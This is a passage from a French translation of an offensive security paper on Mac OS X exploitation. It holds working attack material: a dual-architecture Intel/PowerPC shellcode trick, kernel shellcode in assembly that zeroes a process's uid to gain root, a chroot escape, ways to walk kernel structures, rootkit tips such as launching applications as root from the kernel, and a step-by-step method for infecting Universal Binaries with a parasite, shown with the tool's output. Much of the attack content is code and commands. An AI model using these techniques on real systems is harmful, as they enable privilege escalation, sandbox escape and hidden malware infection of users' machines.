virtualisation fait par Transitive appelée Rosetta qui permet à un mac Intel
d'exécuter un binaire PowerPC. Ça veut dire que même après avoir trouvé
l'emprunte de l'architecture d'une machine comme étant Intel, il y a une
chance que le démon réseau auquel vous faites face soit compilé pour
PowerPC. Ceci pose un un challenge quand on écrit un shellcode pour un
exploit distant car il est plus difficile de trouver l'empreinte de la
machine. Cela aboutira a des ratés.

Pour éviter ça, il y a une technique utilisée pour créer des shellcodes qui
s'exécutent à la fois sous architectures Intel et PowerPC.

Cette technique a été documentée dans l'article de phrack homonyme de cette
section [16]. Je fournis ici une brève explication car cette technique est
utilisée dans le reste de ce papier.

La base de cette technique consiste à trouver une instruction PowerPC qui,
une fois exécutée, va simplement passer à l'instruction suivante. Elle doit
le faire sans effectuer aucun accès mémoire, uniquement changer l'état des
registres. Par contre, une fois que cette instruction est interprétée comme
un opcode Intel, un saut doit être effectué au delà de la portion de code
PowerPC et vers la zone Intel. De cette façon, le type d'architecture peut
facilement être déterminé.

Il existe une telle instruction. C'est l'instruction "rlwnm".

Voici la définition de cette instruction, d'après le manuel PowerPC :

(rlwnm) Rotate Left Word then AND with Mask (x'5c00 0000')

rlwnm  	rA,rS,rB,MB,ME	(Rc = 0) 
rlwnm. 	rA,rS,rB,MB,ME	(Rc = 1) 

,__________________________________________________________.
|10101 |   S    |     A    |    B    |   MB    |   ME    |Rc|
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
0     5 6     10 11      15 16     20 21     25 26       30 31

C'est l'instruction de décalage à gauche sous PowerPC. En gros, un masque
(défini par les bits MB à ME) est appliqué et le registre rS est décalé de
rB bits. Le résultat est stocké dans rA. Aucun accès mémoire n'est fait par
cette instruction, quels que soient ses arguments.

En utilisant les paramètres suivants, nous pouvons obtenir un opcode valide
et utile.

	rA = 16
	rS = 28
	rB = 29
	MB = XX
	ME = XX
	
	rlwnm r16,r28,r29,XX,XX

Ça nous fourni l'opcode suivant :

	"\x5f\x90\xeb\xxx" 

Quand c'est interprété comme un code Intel, on tombe sur cette instruction
:

nasm > db 0x5f,0x90,0xeb,0xXX
00000000  5F                pop edi	    // met edi sur la pile
00000001  90                nop		    // ne fait rien
00000002  EBXX              jmp short 0xXX  // saute dans notre payload.

Voici, en exemple, comment ça peut être utile :

	char trap[] =
	"\x5f\x90\xeb\x06"	// sélection d'architecture magique
	"\x7f\xe0\x00\x08"	// instruction ppc "trap"
	"\xcc\xcc\xcc\xcc";	// intel: int3 int3 int3 int3

Ce shellcode, une fois exécuté sous PowerPC va exécuter la "trap"
directement après notre code sélecteur. Cependant, si c'est interprété sous
Intel, le "eb 06" cause un saut vers les instructions int3. On utilise 06
plutôt que 04 car eip pointe sur le début de l'instruction jmp elle-même
(eb) pendant l'exécution. Donc, on doit compenser en ajoutant deux octets à
la longueur de l'assembleur PowerPC.

Pour vérifier que cette technique multi-architecture fonctionne, voici la
sortie de gdb quand on l'attache sur un processus sous Intel :

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x0000201b in trap ()
	(gdb) x/i $pc
	0x201b :       int3  

Voici la même sortie pour une version PowerPC du binaire :

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x00002018 in trap ()
	(gdb) x/i $pc
	0x2018 :        trap

--[ 5 - Écrire des shellcode noyau

Dans cette section, nous allons regarder quelques techniques pour écrire
des shellcodes utilisés quand on exploite des vulnérabilités au niveau
noyau.

Avant de commencer, voici une paire de choses à noter. Mac OS X ne partage
pas l'espace d'adressage entre le noyau et l'utilisateur. À la fois le
noyau et l'utilisateur disposent de 4Gb d'espace d'adressage chacun (0x0 ->
0xffffffff).

Je ne me suis pas embêté à écrire du code PowerPC, car pour la plupart de
ce que j'ai fait, si vous voulez vraiment un code PowerPC, certains
concepts seront portés très vite, d'autres juste un peu moins ;)

--[ 5.1 - Escalade locale de privilèges

Le premier type de shellcode dont nous allons regarder l'écriture est pour
les vulnérabilités locales. L'objectif typique pour les shellcodes noyaux
en local est simplement l'escalade de privilèges de nos processus en mode
utilisateur.

Ce sujet a été couvert dans l'excellent papier de noir sur l'exploitation
noyau OpenBSD dans le phrack 60 [6].

Beaucoup de techniques du papier de noir s'appliquent directement à Mac OS
X. noir montre que la fonction sysctl() peut être utilisée pour retrouver
la structure kinfo_proc pour un identificateur de processus donné. Comme
vous pouvez le voir ici, l'un des membres de la structure kinfo_proc est un
pointeur vers la structure proc.

struct kinfo_proc {
        struct  extern_proc kp_proc;             /* proc structure */
        struct  eproc {
                struct  proc *e_paddr;          /* address of proc */
                struct  session *e_sess;        /* session pointer */
                struct  _pcred e_pcred;         /* process credentials */
                struct  _ucred e_ucred;         /* current credentials */
                struct   vmspace e_vm;          /* address space */
                pid_t   e_ppid;                 /* parent process id */
                pid_t   e_pgid;                 /* process group id */
                short   e_jobc;                 /* job control counter */
                dev_t   e_tdev;                 /* controlling tty dev */
                pid_t   e_tpgid;                /* tty process group id */
                struct  session *e_tsess;       /* tty session pointer */
#define WMESGLEN        7
                char    e_wmesg[WMESGLEN+1];    /* wchan message */
                segsz_t e_xsize;                /* text size */
                short   e_xrssize;              /* text rss */
                short   e_xccount;              /* text references */
                short   e_xswrss;
                int32_t e_flag;
#define EPROC_CTTY      0x01    /* controlling tty vnode active */
#define EPROC_SLEADER   0x02    /* session leader */
#define COMAPT_MAXLOGNAME       12
                char e_login[COMAPT_MAXLOGNAME];/* short setlogin() name*/
                int32_t e_spare[4];
        } kp_eproc;
};

Ilja van Sprundel a mentionné cette technique dans sa présentation à
Blackhat [7]. En gros, on peut utiliser l'adresse "p.kp_eproc.ep_addr" pour
accéder à la structure proc de notre processus en mémoire.

La fonction suivante retournera l'adresse d'une structure proc d'un pid
donné dans le noyau.

long get_addr(pid_t pid) {
        int i, sz = sizeof(struct kinfo_proc), mib[4];
        struct kinfo_proc p;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        i = sysctl(&mib, 4, &p, &sz, 0, 0);
        if (i == -1) {
                perror("sysctl()");
                exit(0);
        }
        return(p.kp_eproc.e_paddr);
}

Maintenant que nous avons l'adresse de notre structure proc, nous avons
juste à changer son uid et/ou euid dans leurs structures respectives.

Voici un extrait de la structure proc :

struct  proc {
        LIST_ENTRY(proc) p_list;        /* List of all processes. */

        /* substructures: */
        struct  ucred *p_ucred;         /* Process owner's identity. */
        struct  filedesc *p_fd;         /* Ptr to open files structure. */
        struct   pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
        struct  plimit *p_limit;        /* Process limits. */
        struct  sigacts *p_sigacts;
	/* Signal actions, state (PROC ONLY). */
	...
}

Comme vous pouvez le voir, juste après la p_list, il y a un pointeur vers
la structure ucred. Voici cette structure :

struct _ucred {
        int32_t cr_ref;                 /* reference count */
        uid_t   cr_uid;                 /* effective user id */
        short   cr_ngroups;             /* number of groups */
        gid_t   cr_groups[NGROUPS];     /* groups */
};

En changeant le champ cr_uid dans cette structure, nous pouvons attribuer
un euid à notre processus.

Le code assembleur suivant va chercher cette structure et mettra à zéro le
champ cr_uid. Ça nous laisse avec les privilèges root sur une plateforme
Intel.

SECTION .text
_main:  
        mov     ebx, [0xdeadbeef]       ;# ebx = proc address
        mov     ecx, [ebx + 8]          ;# ecx = ucred
        xor     eax,eax
        mov     [ecx + 12], eax         ;# zero out the euid
        ret

Pour utiliser ce code, nous devons remplacer l'adresse "0xdeadbeef" par
l'adresse de la structure proc que nous avons regardé plus haut.

Voici un code de la présentation de Ilja van Sprundel qui fait la même
chose sous plateforme PowerPC.

int kshellcode[] = { 
	0x3ca0aabb, // lis r5, 0xaabb 
	0x60a5ccdd, // ori r5, r5, 0xccdd 
	0x80c5ffa8, // lwz r6, ­88(r5) 
	0x80e60048, // lwz r7, 72(r6) 
	0x39000000, // li r8, 0 
	0x9106004c, // stw r8, 76(r6) 
	0x91060050, // stw r8, 80(r6) 
	0x91060054, // stw r8, 84(r6) 
	0x91060058, // stw r8, 88(r6) 
	0x91070004  // stw r8, 4(r7) 
} 

On peut combiner les deux shellcode en un architecture spanning shellcode.
C'est un processus simple et c'est documenté en section 4 de ce papier.

Le code complet du code multi-architecture est disponible en annexe.

Sur les processeurs PowerPC, XNU utiliser une optimisation appelée "user
memory windows" [ NDT : fenêtre de mémoire utilisateur]. Ceci veut dire que
l'espace d'adressage utilisateur et celui noyau partage quelques pages.

Cette conception est là pour importer/exporter. La fenêtre de mémoire
utilisateur commence typiquement à 0xe0000000 à la fois en mode noyau et
utilisateur. Ça peut être utile quand on essaye de positionner un shellcode
pour l'utiliser dans des vulnérabilités d'escalade locale de privilège.

--[ 5.2 - Casser un chroot()

Avant de regarder comment on peut sortir de processus qui ont utilisé le
syscall chroot(), nous allons voir pourquoi, la plupart du temps, nous n'en
avons pas besoin.

-[root@fry:/chroot]# touch file_outside_chroot

-[root@fry:/chroot]# ls -lsa file_outside_chroot 
0 -rw-r--r--   1 root  admin  0 Jan 29 12:17 file_outside_chroot

-[root@fry:/chroot]# chroot demo /bin/sh

-[root@fry:/]# ls -lsa file_outside_chroot
ls: file_outside_chroot: No such file or directory

-[root@fry:/]# pwd                        
/

-[root@fry:/]# ls -lsa ../file_outside_chroot
0 -rw-r--r--   1 root  admin  0 Jan 29 20:17 ../file_outside_chroot

-[root@fry:/]# ../../usr/sbin/chroot ../../ /bin/sh

-[root@fry:/]# ls -lsa /chroot/file_outside_chroot 
0 -rw-r--r--   1 root  admin  0 Jan 29 12:17 /chroot/file_outside_chroot

Comme vous pouvez le voir, la commande /usr/bin/chroot qui est livrée avec
Mac OS X ne fait pas de chdir() et donc, ne fait pas vraiment grand chose.

Les auteurs suggèrent le complément au chroot suivant dans la page de man
de Mac OS X :

	"Caution: Does not work."

	[NDT : Attention : Ne fonctionne pas"]

Entre parenthèses, ce patch pourrait être utile pour la man page de
setreuid().

Je ne m'attarderai pas plus sur ce sujet puisque noir a déjà couvert le
sujet très bien dans son papier [6].

En gros, noir mentionne que tout ce que nous avons besoin pour faire sortir
notre processus du chroot() est de mettre l'élément p->p_fd->fd_rdir à zéro
dans notre structure proc.

On peut obtenir l'adresse de notre structure proc en utilisant sysctl comme
mentionné plus haut.

noir fournis déjà les instruction pour ça :

mov	edx,[ecx + 0x14] 	;# edx = p->p_fd
mov	[edx + 0xc],eax		;# p->p_fd->fd_rdir = 0


--[ 5.3 -  Améliorations

Maintenant que nous sommes familier de l'écriture de shellcode dans des
exploits locaux, où nous avons déjà un accès local à la machine, le reste
du code relatif au noyau dans ce papier se concentrera sur le fait de le
faire sans avoir besoin d'accès en mode utilisateur.

Pour le faire, on peut utiliser les structures pour cpu/task/proc et les
structures de threads dans le noyau. La définition de chacune de ces
structure peut se trouver dans les répertoires osfmk/kern et bsd/sys/ dans
divers fichiers d'en-tête.

La première structure que nous allons regarder est la structure "cpu_data"
qu'on trouve dans osfmk/i386/cpu_data.h.

J'ai inclus la définition de cette structure ici :

/*
 * Per-cpu data.
 *   
 * Each processor has a per-cpu data area which is dereferenced through the
 * using this, in-lines provides single-instruction access to frequently 
 * used members - such as get_cpu_number()/cpu_number(), and 
 * get_active_thread()/ current_thread(). 
 * 
 * Cpu data owned by another processor can be accessed using the
 * cpu_datap(cpu_number) macro which uses the cpu_data_ptr[] array of 
 * per-cpu pointers.
 */
typedef struct cpu_data
{
        struct cpu_data         *cpu_this;        /* pointer to myself */
        thread_t                cpu_active_thread;
        void                    *cpu_int_state;     /* interrupt state */
        vm_offset_t             cpu_active_stack;  /* kernel stack base */
        vm_offset_t             cpu_kernel_stack;  /* kernel stack top */
        vm_offset_t             cpu_int_stack_top;
        int                     cpu_preemption_level;
        int                     cpu_simple_lock_count;
        int                     cpu_interrupt_level;
        int                     cpu_number;             /* Logical CPU */
        int                     cpu_phys_number;        /* Physical CPU */
        cpu_id_t                cpu_id;              /* Platform Expert */
        int                     cpu_signals;            /* IPI events */
        int                     cpu_mcount_off;    /* mcount recursion */
        ast_t                   cpu_pending_ast;
        int                     cpu_type;
        int                     cpu_subtype;
        int                     cpu_threadtype;
        int                     cpu_running;
        uint64_t                rtclock_intr_deadline;
        rtclock_timer_t         rtclock_timer;
        boolean_t               cpu_is64bit;
        task_map_t              cpu_task_map;
        addr64_t                cpu_task_cr3;
        addr64_t                cpu_active_cr3;
        addr64_t                cpu_kernel_cr3;
        cpu_uber_t              cpu_uber;
        void                    *cpu_chud;
        void                    *cpu_console_buf;
        struct cpu_core         *cpu_core;         /* cpu's parent core */
        struct processor        *cpu_processor;
        struct cpu_pmap         *cpu_pmap;
        struct cpu_desc_table   *cpu_desc_tablep;
        struct fake_descriptor  *cpu_ldtp;
        cpu_desc_index_t        cpu_desc_index;
        int                     cpu_ldt;
#ifdef MACH_KDB
        /* XXX Untested: */
        int                     cpu_db_pass_thru;
        vm_offset_t     cpu_db_stacks;
        void            *cpu_kdb_saved_state;
        spl_t           cpu_kdb_saved_ipl;
        int                     cpu_kdb_is_slave;
        int                     cpu_kdb_active;
#endif /* MACH_KDB */
        boolean_t               cpu_iflag;
        boolean_t               cpu_boot_complete;
        int                     cpu_hibernate;
        pmsd                    pms; /* Power Management Stepper control */
        uint64_t            rtcPop; /* when the etimer wants a timer pop */

        vm_offset_t     cpu_copywindow_bas;
        uint64_t        *cpu_copywindow_pdp;

        vm_offset_t     cpu_physwindow_base;
        uint64_t        *cpu_physwindow_ptep;
        void            *cpu_hi_iss;
        boolean_t       cpu_tlb_invalid;

        uint64_t        *cpu_pmHpet; 
	/* Address of the HPET for this processor */
        uint32_t        cpu_pmHpetVec;  
	/* Interrupt vector for HPET for this processor */
/*      Statistics */
        pmStats_t       cpu_pmStats;  
	/* Power management data */
        uint32_t        cpu_hwIntCnt[256];         /* Interrupt counts */

        uint64_t                cpu_dr7; /* debug control register */
} cpu_data_t;

Comme vous pouvez le voir, cette structure contient des informations
intéressantes pour notre shellcode qui fonctionne dans le noyau. Nous avons
juste besoin de déterminer comment y accéder.

La macro suivante montre comment on peut accéder à cette structure.

/* Macro to generate inline bodies to retrieve per-cpu data fields. */
#define offsetof(TYPE,MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
#define CPU_DATA_GET(member,type)                                       \
        type ret;                                                       \
        __asm__ volatile ("movl %%gs:%P1,%0"                            \
                : "=r" (ret)                                            \
                : "i" (offsetof(cpu_data_t,member)));                   \
        return ret;

Quand notre code s'exécute en espace noyau, le sélecteur gz peut être
utilisé pour accéder à la structure cpu_data. Le premier élément de cette
structure contient un pointeur vers la structure elle-même, nous n'avons
donc plus besoin d'utiliser gs après cela.

Le premier objectif que nous allons regarder est la capacité à trouver le
processus init (pid=1) via cette structure. Puisque notre code pourrait
fonctionner associé à un thread utilisateur, nous ne pouvons pas compter
les structures uthread qui se trouve dans notre structure thread_t. Un
exemple de ceci pourrait être quand nous exploitons une pile réseau ou une
extension noyau.

La première étape à faire pour trouver la structure du processus init est
de retrouver le pointeur vers notre structure thread_t.

On peut le faire simplement en récupérant le pointeur à gs:0x40. Les
instructions suivantes le font :

_main:  
        xor     ebx,ebx				;# zero ebx
        mov     eax,[gs:0x04 + ebx]             ;# thread_t.

Après l'exécution de ces instructions, nous avons un pointeur vers
notre structure de thread dans eax. La structure de thread est définie dans
osfmk/kern/thread.h. Une partie de cette structure est montrée ici :

struct thread {
...
        queue_chain_t   links;          /* run/wait queue links */
        run_queue_t     runq;   /* run queue thread is on SEE BELOW */
        wait_queue_t    wait_queue;  /* wait queue we are currently on */
        event64_t               wait_event;       /* wait queue event */
        integer_t               options;/* options set by thread itself */
...
  /* Data used during setrun/dispatch */
        timer_data_t            system_timer;  /* system mode timer */
        processor_set_t         processor_set;/* assigned processor set */
        processor_t bound_processor; /* bound to a processor? */
        processor_t last_processor;     /* processor last dispatched on */
        uint64_t    last_switch;        /* time of last context switch */
...
	void                                    *uthread;
#endif
};

Cette structure, encore une fois, contient beaucoup de champs utiles pour
notre shellcode. Cependant, dans ce cas, nous essayons de trouver la
structure proc. Parce que nous pourrions ne pas avoir nécessairement déjà
un uthread qui nous soit associé, comme mentionné plus haut, nous devons
regarder ailleurs pour une liste de tâches pour localiser init (launchd).

La prochaine étape de ce processus est de retrouver l'élément
"last_processor" de la structure thread_t. Nous le faisons grâce aux
instructions suivantes :

        mov     bl,0xf4
        mov     ecx,[eax + ebx]                 ;# last_processor

Le pointeur last_processor pointe vers une structure de processeur, comme
son nom le suggère ;) Nous pouvons voyager à partir de la structure
last_processor vers le pset par défaut pour trouver le pset qui contient
init.

        mov     eax,[ecx]                       ;# default_pset + 0xc

On récupère alors le [task head] à partir de cette structure.

        push    word 0x458
        pop     bx
        mov     eax,[eax + ebx]                 ;# tasks head.

Et retrouvons l'élément bsd_info de la tâche. C'est un pointeur vers une
structure proc.

        push    word 0x19c
        pop     bx
        mov     eax,[eax + ebx]                 ;# get bsd_info

La structure proc est définie dans xnu/bsd/sys/proc_internal.h. Le premier
élément de la structure proc est :

        LIST_ENTRY(proc) p_list;        /* List of all processes. */

Nous pouvons parcourir cette liste pour trouver un processus particulier
que nous voudrions. Pour la plupart de nos codes, nous commencerons par
init (launchd sous Mac OS X). Ce processus a le pid 1.

Pour le trouver, nous parcourons simplement la liste en vérifiant le champ
pid à l'offset 36. Le code pour le faire est le suivant :

next_proc:
        mov     eax,[eax+4]                     ;# prev         
        mov     ebx,[eax + 36]                  ;# pid
        dec     ebx
        test    ebx,ebx                         ;# if pid was 1
        jnz     next_proc
done:
;#      eax = struct proc *init;

Maintenant que nous avons développé qui retrouve un pointeur vers la
structure proc du processus init, nous pouvons regarder les choses qu'on
peut faire grâce à ce pointeur.

La première cause que nous allons regarder est simplement la réécriture du
code de l'escalade de privilèges listée plus haut. Notre nouvelle version
de ce code ne nécessitera plus aucune aide de l'espace utilisateur (sysctl,
...).

Je pense que le code ci-dessous s'explique tout seul.

%define PID 1337

find_pid:
        mov     eax,[eax + 4]                   ;# eax = next proc
        mov     ebx,[eax + 36]                  ;# pid
        cmp     bx,PID
        jnz     find_pid
        mov     ecx, [eax + 8]          ;# ecx = ucred
        xor     eax,eax
        mov     [ecx + 12], eax         ;# met l'euid à zéro

Comme vous pouvez le voir, la structure cpu_date nous ouvre beaucoup de
possibilités pour nos shellcodes. Heureusement, j'aurai le temps de regarder
certaines dans un futur papier.

--[ 6 - Misc Rootkit Techniques

Dans cette section, je vais parcourir quelques petits bouts d'information
qui peuvent êtres adaptés à quelqu'un qui développerait un rootkit pour Mac
OS X. Je n'avais pas vraiment d'autre endroit pour mettre ces trucs, c'est
donc ici que je les ai mis.

La première chose à voir est qu'il existe une API [21] pour exécuter des
applications utilisateurs depuis le mode noyau. C'est ce qu'on appelle le
"Kernel User Notification Daemon". C'est implémenté en utilisant un port
mach que le noyau utilise pour communiquer avec un démon utilisateur qu'on
appelle kuncd.

Le fichier xnu/osfmk/UserNotification/UNDRequest.defs contient les
définitions d'interface du Mach Interface Generator (MIG) pour communiquer
avec ce démon.

Le port mach est appelé :
"com.apple.system.Kernel[UNC]Notifications" et est enregistré par le démon
/usr/libexec/kuncd.

Voici un exemple pragmatique d'utilisation de cette interface. L'interface
nous permet d'afficher des messages via le GUI vers l'utilisateur et aussi
de lancer n'importe quelle application.=

kern_return_t ret;
ret = KUNCExecute(
	"/Applications/TextEdit.app/Contents/MacOS/TextEdit", 
	kOpenAppAsRoot,
	kOpenApplicationPath
);
ret = KUNCExecute(
	"Internet.prefPane", 
	kOpenAppAsConsoleUser, 
	kOpenPreferencePanel
);

Il pourrait y avoir des situations où vous voudriez que votre code
s'exécute sur tous les processeurs d'un système. Par exemple, mettre à
jours l'IDT / MSR sans avoir envie qu'un processeur rate ça.

Le noyau xnu fourni une fonction pour ça. Le commentaire et le prototype
nous en explique plus que je le pourrais; les voici :

/*
 * All-CPU rendezvous [NDT : en français dans le texte] :
 *      - Les CPU sont signalés,
 *      - ils exécutent tous la fonction setup (si spécifiée),
 *      - rendezvous (i.e. point de synchronisation),
 *      - ils exécutent tous la fonction action (si spécifiée)
 *      - encore un rendezvous,
 *      - execute la fonction teardown (si spécifiée) et ensuite
 *      - retournent à leur tâches
 *
 * notez que les fonctions externes fournies _doivent_ être réentrantes
 * et au courant qu'elles fonctionnent en parallèle et dans un contexte
 * de verroux inconnu.
 */

void
mp_rendezvous(void (*setup_func)(void *),
              void (*action_func)(void *),
              void (*teardown_func)(void *),
              void *arg)
{

Le code des fonctions relatives sont stockées dans xnu/osfmk/i386/mp.c.

--[ 7 - Infection de "Universal Binary format"

Le format d'objet Mach-O est utilisé sur les systèmes d'exploitation dont
le noyau est basé sur Mach. C'est le format utilisé par Mac OS X. Des
travaux significatifs ont déjà été fait sur l'infection de ce format. Les
papiers [12] et [13] en montre quelques uns. Les fichiers Mach-O peuvent
être identifiés par les quatre premiers octets du fichier qui contiennent
le "magic number" 0xfeedface.

Récemment, Mac OS X a changé de plateforme et a changé PowerPC pour Intel.
Ce changement a impliqué l'utilisation d'un nouveau format de binaires pour
la plupart des applications sous Max OS X 10.4. Le "Universal Binary
Format" est défini dans les références du Mach-O Runtime de apple[4].

Le Universal Binary format est un format d'archive vraiment trivial qui
permet de stocker plusieurs fichiers Mac-O de types d'architectures
différentes dans un seul fichier. Le chargeur sous Mac OS X est capable
d'interpréter ce fichier et de distinguer quel fichier, au sein de
l'archive, correspond à l'architecture du système. (Nous y reviendrons plus
tard.)

La structure utilisée par Mac OS X pour définir et analyser les binaires
universels se trouve dans le fichier /usr/include/mach-o/fat.h.

Les binaires universels sont reconnaissables, encore une fois, par le
"magic number" dans les premiers quatre octets du fichier. Les binaires
universels commencent par l'en-tête suivante :

struct fat_header {
	uint32_t        magic;          /* FAT_MAGIC */
	uint32_t        nfat_arch;      /* number of structs that follow */
};

Le magic number d'un binaire universel est comme suit :

#define FAT_MAGIC       0xcafebabe
#define FAT_CIGAM       0xbebafeca      /* NXSwapLong(FAT_MAGIC) */

On utilise soit FAT_MAGIC ou FAT_CIGAM, en fonction de l'encodage
(big/little endian) du système.

Le champ nfat_arch de la structure contient le nombre de fichiers Mach-O
contenus dans l'archive. Entre parenthèses, si vous lui attribuez une
valeur assez grande, presque tous les outils de débuggage sous Mac OS X
vont crasher, comme c'est montré ici :

-[nemo@fry:~]$ printf "\xca\xfe\xba\xbe\x66\x66\x66\x66" > file
-[nemo@fry:~]$ otool -tv file
Segmentation fault

Pour chaque fichier Mach-O dans le binaire universel, il y a aussi une
structure fat_arch.

Cette structure est la suivante :

struct fat_arch {
        cpu_type_t      cputype;     /* cpu specifier (int) */
        cpu_subtype_t   cpusubtype;  /* machine specifier (int) */
        uint32_t        offset;      /* file offset to this object file */
        uint32_t        size;        /* size of this object file */
        uint32_t        align;       /* alignment as a power of 2 */
};

La structure fat_arch défini le type d'architecture du fichier Mach-O,
ainsi que l'offset dans le binaire universel auquel il est stocké. Il
contient aussi l'alignement de l'architecture pour ce fichier particulier,
exprimé en puissance de 2.

Le schéma suivant décrit l'agencement d'un binaire universel typique :

._________________________________________________,
|0xcafebabe                                       |
|   struct fat_header                             |
|-------------------------------------------------|
| fat_arch struct #1                              |------------+
|-------------------------------------------------|            |
| fat_arch struct #2                              |---------+  |
|-------------------------------------------------|         |  |
| fat_arch struct #n                              |------+  |  |
|-------------------------------------------------|<-----------+
|0xfeedface                                       |      |  |
|                                                 |      |  |
|    Mach-O File #1                               |      |  |
|                                                 |      |  |
|                                                 |      |  |
|-------------------------------------------------|<--------+  
|0xfeedface                                       |      |
|                                                 |      |
|    Mach-O File #2                               |      |
|                                                 |      |
|                                                 |      |
|-------------------------------------------------|<-----+
|0xfeedface                                       |
|                                                 |
|    Mach-O file #n                               |
|                                                 |
|                                                 |
'-------------------------------------------------'

Vous pouvez voir ici que le fichier commence avec une structure fat_header.
Suivent ensuite les n structures fat_arch, définissant chacune l'offset
dans le fichier pour trouver le fichier Mach-O décrit par la structure.
Enfin, n fichiers Mach-O sont concaténés juste après ces structures.

Avant de continuer dans la méthode pour infecter les binaires universels,
je vais d'abord montrer comment le noyau les charge.

Le fichier xnu/bsd/kern/kern_exec.c contient le code montré dans cette
section.

D'abord, le noyau met en place un tableau de structures execsw terminé par
un NULL. Chacune contenant un pointeur de fonction vers un activateur /
analyseur d'image pour les différents types d'images, ainsi qu'une chaîne
de caractère de description pertinente.

La définition et la déclaration de ce tableau sont montrées ici :

/*
 * Our image activator table; this is the table of the image types we are
 * capable of loading.  We list them in order of preference to ensure the
 * fastest image load speed.
 *
 * XXX hardcoded, for now; should use linker sets
 */
struct execsw {
        int (*ex_imgact)(struct image_params *);
        const char *ex_name;
} execsw[] = {
        { exec_mach_imgact,             "Mach-o Binary" },
        { exec_fat_imgact,              "Fat Binary" },
#ifdef IMGPF_POWERPC
        { exec_powerpc32_imgact,        "PowerPC binary" },
#endif  /* IMGPF_POWERPC */
        { exec_shell_imgact,            "Interpreter Script" },
        { NULL, NULL}
};

Le code suivant, de l'appel système execve(), appele une boucle sur les
éléments de ce tableau et appele les pointeurs de fonction pour chacune. En
lui passant un pointeur vers le début de l'image.

int
execve(struct proc *p, struct execve_args *uap, register_t *retval)
{
	...

        for(i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {

                error = (*execsw[i].ex_imgact)(imgp);


Chacune des fonctions analyse le fichier pour déterminer si le fichier est
approprié à l'architecture. La fonction qui est responsable de l'ananlyse et
en charge de faire correspondre les binaires universels est la fonction
"exec_fat_imgact".

Voici la déclaration de cette fonction :

/*
 * exec_fat_imgact
 *
 * Image activator for fat 1.0 binaries.  If the binary is fat, then we
 * need to select an image from it internally, and make that the image
 * we are going to attempt to execute.  At present, this consists of
 * reloading the first page for the image with a first page from the
 * offset location indicated by the fat header.
 *
 * Important:   This image activator is byte order neutral.
 *
 * Note:    If we find an encapsulated binary, we make no assertions
 *          about its  validity; instead, we leave that up to a rescan
 *          for an activator to claim it, and, if it is claimed by one,
 *          that activator is responsible for determining validity.
 */
static int
exec_fat_imgact(struct image_params *imgp)

La première chose que cette fonction fasse est de tester le magic number au
début du fichier. Le code suivant le fait :

        /* Make sure it's a fat binary */
        if ((fat_header->magic != FAT_MAGIC) &&
            (fat_header->magic != FAT_CIGAM)) {
                error = -1;
                goto bad;
        }

La fonction fatfile_getarch_affinity() est alors appelée pour chercher
après un fichier Mach-O approprié au type d'architecture dans le binaire
universel.

   /* Look up our preferred architecture in the fat file. */
        lret = fatfile_getarch_affinity(imgp->ip_vp,
                                        (vm_offset_t)fat_header,
                                        &fat_arch,
                                        (p->p_flag & P_AFFINITY));

Cette fonction est définie dans le fichier :
xnu/bsd/kern/mach_fat.c.

	load_return_t
	fatfile_getarch_affinity(
                struct vnode            *vp,
                vm_offset_t             data_ptr,
                struct fat_arch *archret,
                int                             affinity)

Cette fonction cherche chacun des fichiers Mach-O dans le binaire
Universel. Un hôte a une architecture primaire et secondaire. Si pendant
cette recherche, on trouve un fichier Mach-O qui correspond à
l'architecture primaire le l'hôte, on utilise ce fichier. Si, par contre,
on ne trouve pas de fichier pour l'architecture primaire, mais qu'on en
trouve un pour l'architecture secondaire, alors, on utilise celui-là. C'est
utile quand on infecte ce format.

Une fois qu'un fichier Mach-O approprié est localisé, les attributs imgp
ip_arch_offset et ip_arch_size sont mis à jours pour refléter la nouvelle
position dans le fichier.

/* Success.  Indique l'identification d'un binaire encapsulé */
error = -2;
imgp->ip_arch_offset = (user_size_t)fat_arch.offset;
imgp->ip_arch_size = (user_size_t)fat_arch.size;

Après ceci, fatfile_getarch_affinity() termine simplement et laisse
execve() continuer de parcourir le tableau de structures execsw[] pour
trouver un chargeur approprié pour le nouveau fichier.

Cette logique signifie qu'il n'est pas important que le type d'architecture
du fichier corresponde à celui spécifié dans la structure fat_header dans
le binaire universel. Une fois qu'un fichier Mach-O est choisi, il sera
traité comme un binaire original.

La méthode que je propose pour infecter des binaires universels utilise ce
comportement. Voici une analyse de la méthode :

1) Déterminer l'architecture primaire et secondaire de la machine hôte.
2) Analyser la structure fat_header du binaire hôte.
3) Parcourir la structure fat_arch et localiser la structure pour le type
   d'architecture secondaire.
4) Vérifier que la taille du parasite est plus petite que le fichier
   Mach-O de l'architecture secondaire dans le binaire universel.
5) Copier le binaire parasite directement dans le binaire de
   l'architecture secondaire dans le binaire universel.
6) trouver la structure fat_arch de l'architecture primaire.
7) Modifier le champ du type d'architecture pour qu'il vale 0xdeadbeef.

Maintenant, quand le binaire est exécuté, l'architecture primaire n'est
plus trouvée. À cause de ça, l'architecture secondaire est utilisée. Le
imgp pointe vers l'offset dans le fichier contenant notre parasite, et il
est exécuté, comme prévu. Le parasite ouvre alors son propre binaire (ce
qui est possible sous Mac OS X) et fait une recherche linéaire après
0xdeadbeef. Il modifie alors sa valeur, en lui redonnant sa valeur
originale et utilise execve() sur lui-même.

Il y a des codes d'exemples fournis avec ce papier qui démontrent cette
méthode sur architecture intel. Le code unipara.c va copier un fichier
Mach-O d'architecture Intel dans un fichier Mach-O PowerPC dans un binaire
universel. Après que l'infection ait eu lieu, la taille du fichier hôte
reste inchangée.

-[nemo@fry:~/code/unipara]$ ./unipara host parasite
-[nemo@fry:~/code/unipara]$ ./host
uid=501(nemo) gid=501(nemo) 
-[nemo@fry:~/code/unipara]$ wc -c host
   43028 host
-[nemo@fry:~/code/unipara]$ ./unipara parasite host
[+] Initiating infection process.
[+] Found: 2 arch structs.
[+] We are good to go, attaching parasite.
[+] parasite implanted at offset: 0x6000
[+] Switching arch types to execute our parasite.
-[nemo@fry:~/code/unipara]$ wc -c host
   43028 host
-[nemo@fry:~/code/unipara]$ ./host
Hello, World!
uid=501(nemo) gid=501(nemo) 

Si la résidence est nécessaire après que la payload ait été exécutée, le
parasite peut simplement faire un fork() avant de modifier son binaire. Le
